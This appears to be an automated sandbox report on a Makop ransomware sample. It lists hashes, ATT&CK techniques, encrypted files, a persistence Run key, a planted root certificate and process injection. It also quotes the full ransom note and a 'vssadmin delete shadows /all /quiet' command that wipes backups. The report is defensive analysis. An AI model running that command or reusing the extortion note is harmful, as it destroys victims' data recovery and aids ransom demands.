makop | fc257f64a0279bb5ae221b968d3f38bbb7237a8475c165c5a8430fe6633e3fe6

Resubmissions

09/03/2023, 20:01 UTC

230309-yrrgwsbf7v 10

22/12/2020, 13:17 UTC

201222-wsc3nmern2 10

Analysis

max time kernel
146s
max time network
152s
platform
windows7_x64
resource
win7v20201028
submitted
22/12/2020, 13:17 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
Size

117KB
MD5

f64ecdec4c84ac7ef0ca6c2ef4d94eea
SHA1

7c88af3c8a27402da1d67cfaa1a02555f1c7945d
SHA256

fc257f64a0279bb5ae221b968d3f38bbb7237a8475c165c5a8430fe6633e3fe6
SHA512

87b8a1c6098a67a6a7f61e154deba8c16a5b421e5157183b40f808c23187ec46e046d7f4ac006d375fcf66000da7da588c9105f9acba5471604255d15c1ac8f7

Score

10^/10

makop persistence ransomware spyware

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\readme-warning.txt

Family

makop

Ransom Note

::: Greetings ::: Little FAQ: .1. Q: Whats Happen? A: Your files have been encrypted and now have the "makop" extension. The file structure was not damaged, we did everything possible so that this could not happen. .2. Q: How to recover files? A: If you wish to decrypt your files you will need to pay in bitcoins. .3. Q: What about guarantees? A: Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will cooperate with us. Its not in our interests. To check the ability of returning files, you can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!) and low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee. .4. Q: How to contact with you? A: You can write us to our mailbox: akzhq1010@tutanota.com or akzhq1010@cock.li .5. Q: How will the decryption process proceed after payment? A: After payment we will send to you our scanner-decoder program and detailed instructions for use. With this program you will be able to decrypt all your encrypted files. .6. Q: If I don�t want to pay bad people like you? A: If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause only we have the private key. In practice - time is much more valuable than money. :::BEWARE::: DON'T try to change encrypted files by yourself! If you will try to use any third party software for restoring your data or antivirus solutions - please make a backup for all encrypted files! Any changes in encrypted files may entail damage of the private key and, as result, the loss all data.

Emails

akzhq1010@tutanota.com

akzhq1010@cock.li

Signatures

Makop
Ransomware family discovered by @VK_Intel in early 2020.
ransomware makop
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command-Line Interface

T1059

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
1052	wbadmin.exe

Modifies extensions of user files 2 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\BackupInvoke.tiff	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Users\Admin\Pictures\RemoveStop.tiff	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe

Loads dropped DLL 3 IoCs

pid	Process
1668	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
1588	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
556	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Windows\CurrentVersion\Run\1 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe\""	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1668 set thread context of 1224	1668	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	29
PID 1588 set thread context of 1088	1588	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	42
PID 556 set thread context of 1168	556	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	47

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Khandyga	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BD07804_.WMF	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18243_.WMF	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\en-US\rtscom.dll.mui	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Wallis	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\Java\jre7\release	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\VelvetRose.css	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\CALNDR98.POC	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\Resource.zip	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\images\delete_up.png	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\ECLIPSE_.RSA	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.aup	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107146.WMF	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0151047.WMF	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00736_.WMF	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy.jar	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\COMPASS\THMBNAIL.PNG	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\cursors.properties	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\WATER\WATER.ELM	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BD07761_.WMF	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0187863.WMF	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\MENUS.JS	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-util-enumerations_ja.jar	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\content-types.properties	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1253.TXT	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Fonts\Paper.xml	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Sts.css	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MEDIA\PUSH.WAV	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\7-Zip\Lang\yo.txt	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\MOR6INT.REST.IDX_DLL	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolIcons\SpaceSelector.ico	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\Folder-48.png	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-application-views.jar	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\intf\modules\httprequests.luac	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\plugins\access\libbluray-j2se-1.0.2.jar	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0086420.WMF	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0153047.WMF	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH00780U.BMP	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FORM.ICO	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\ipskor.xml	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\docked_black_moon-waning-gibbous.png	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0160590.WMF	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\QuickStyles\Perspective.dotx	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\ParentMenuButtonIconSubpict.png	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToScenesBackground.wmv	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-attach_ja.jar	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\MSTORE_K_COL.HXK	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\en-US\MpAsDesc.dll.mui	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\ConvertToUnpublish.snd	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File created	C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\readme-warning.txt	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\readme-warning.txt	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\Audio-48.png	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\4.png	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\images\navBack.png	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File created	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\STUDIO\readme-warning.txt	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyNotesBackground_PAL.wmv	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\BD21370_.GIF	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\FormsDoNotTrust.html	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\Access\Part\Users.accdt	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0185670.WMF	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolBMPs\DataViewIconImagesMask.bmp	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\readme-warning.txt	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
324	vssadmin.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1224	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
1668	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
1588	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
556	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeBackupPrivilege	784	vssvc.exe
Token: SeRestorePrivilege	784	vssvc.exe
Token: SeAuditPrivilege	784	vssvc.exe
Token: SeBackupPrivilege	560	wbengine.exe
Token: SeRestorePrivilege	560	wbengine.exe
Token: SeSecurityPrivilege	560	wbengine.exe
Token: SeIncreaseQuotaPrivilege	1616	WMIC.exe
Token: SeSecurityPrivilege	1616	WMIC.exe
Token: SeTakeOwnershipPrivilege	1616	WMIC.exe
Token: SeLoadDriverPrivilege	1616	WMIC.exe
Token: SeSystemProfilePrivilege	1616	WMIC.exe
Token: SeSystemtimePrivilege	1616	WMIC.exe
Token: SeProfSingleProcessPrivilege	1616	WMIC.exe
Token: SeIncBasePriorityPrivilege	1616	WMIC.exe
Token: SeCreatePagefilePrivilege	1616	WMIC.exe
Token: SeBackupPrivilege	1616	WMIC.exe
Token: SeRestorePrivilege	1616	WMIC.exe
Token: SeShutdownPrivilege	1616	WMIC.exe
Token: SeDebugPrivilege	1616	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1616	WMIC.exe
Token: SeRemoteShutdownPrivilege	1616	WMIC.exe
Token: SeUndockPrivilege	1616	WMIC.exe
Token: SeManageVolumePrivilege	1616	WMIC.exe
Token: 33	1616	WMIC.exe
Token: 34	1616	WMIC.exe
Token: 35	1616	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1616	WMIC.exe
Token: SeSecurityPrivilege	1616	WMIC.exe
Token: SeTakeOwnershipPrivilege	1616	WMIC.exe
Token: SeLoadDriverPrivilege	1616	WMIC.exe
Token: SeSystemProfilePrivilege	1616	WMIC.exe
Token: SeSystemtimePrivilege	1616	WMIC.exe
Token: SeProfSingleProcessPrivilege	1616	WMIC.exe
Token: SeIncBasePriorityPrivilege	1616	WMIC.exe
Token: SeCreatePagefilePrivilege	1616	WMIC.exe
Token: SeBackupPrivilege	1616	WMIC.exe
Token: SeRestorePrivilege	1616	WMIC.exe
Token: SeShutdownPrivilege	1616	WMIC.exe
Token: SeDebugPrivilege	1616	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1616	WMIC.exe
Token: SeRemoteShutdownPrivilege	1616	WMIC.exe
Token: SeUndockPrivilege	1616	WMIC.exe
Token: SeManageVolumePrivilege	1616	WMIC.exe
Token: 33	1616	WMIC.exe
Token: 34	1616	WMIC.exe
Token: 35	1616	WMIC.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 1668 wrote to memory of 1224	1668	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	29
PID 1668 wrote to memory of 1224	1668	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	29
PID 1668 wrote to memory of 1224	1668	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	29
PID 1668 wrote to memory of 1224	1668	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	29
PID 1668 wrote to memory of 1224	1668	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	29
PID 1668 wrote to memory of 1224	1668	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	29
PID 1668 wrote to memory of 1224	1668	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	29
PID 1668 wrote to memory of 1224	1668	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	29
PID 1224 wrote to memory of 1652	1224	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	31
PID 1224 wrote to memory of 1652	1224	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	31
PID 1224 wrote to memory of 1652	1224	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	31
PID 1224 wrote to memory of 1652	1224	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	31
PID 1652 wrote to memory of 324	1652	cmd.exe	33
PID 1652 wrote to memory of 324	1652	cmd.exe	33
PID 1652 wrote to memory of 324	1652	cmd.exe	33
PID 1652 wrote to memory of 1052	1652	cmd.exe	36
PID 1652 wrote to memory of 1052	1652	cmd.exe	36
PID 1652 wrote to memory of 1052	1652	cmd.exe	36
PID 1652 wrote to memory of 1616	1652	cmd.exe	40
PID 1652 wrote to memory of 1616	1652	cmd.exe	40
PID 1652 wrote to memory of 1616	1652	cmd.exe	40
PID 1588 wrote to memory of 1088	1588	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	42
PID 1588 wrote to memory of 1088	1588	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	42
PID 1588 wrote to memory of 1088	1588	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	42
PID 1588 wrote to memory of 1088	1588	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	42
PID 1588 wrote to memory of 1088	1588	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	42
PID 1588 wrote to memory of 1088	1588	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	42
PID 1588 wrote to memory of 1088	1588	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	42
PID 1588 wrote to memory of 1088	1588	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	42
PID 556 wrote to memory of 1168	556	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	47
PID 556 wrote to memory of 1168	556	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	47
PID 556 wrote to memory of 1168	556	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	47
PID 556 wrote to memory of 1168	556	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	47
PID 556 wrote to memory of 1168	556	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	47
PID 556 wrote to memory of 1168	556	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	47
PID 556 wrote to memory of 1168	556	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	47
PID 556 wrote to memory of 1168	556	f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe	47

C:\Users\Admin\AppData\Local\Temp\f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
"C:\Users\Admin\AppData\Local\Temp\f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe"
1⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1668
- C:\Users\Admin\AppData\Local\Temp\f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
  "C:\Users\Admin\AppData\Local\Temp\f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe"
  2⤵
  - Modifies extensions of user files
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1224
- - C:\Users\Admin\AppData\Local\Temp\f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
    "C:\Users\Admin\AppData\Local\Temp\f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe" n1224
    3⤵
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:1588
  - - C:\Users\Admin\AppData\Local\Temp\f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
      "C:\Users\Admin\AppData\Local\Temp\f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe" n1224
      4⤵
      PID:1088
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1652
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
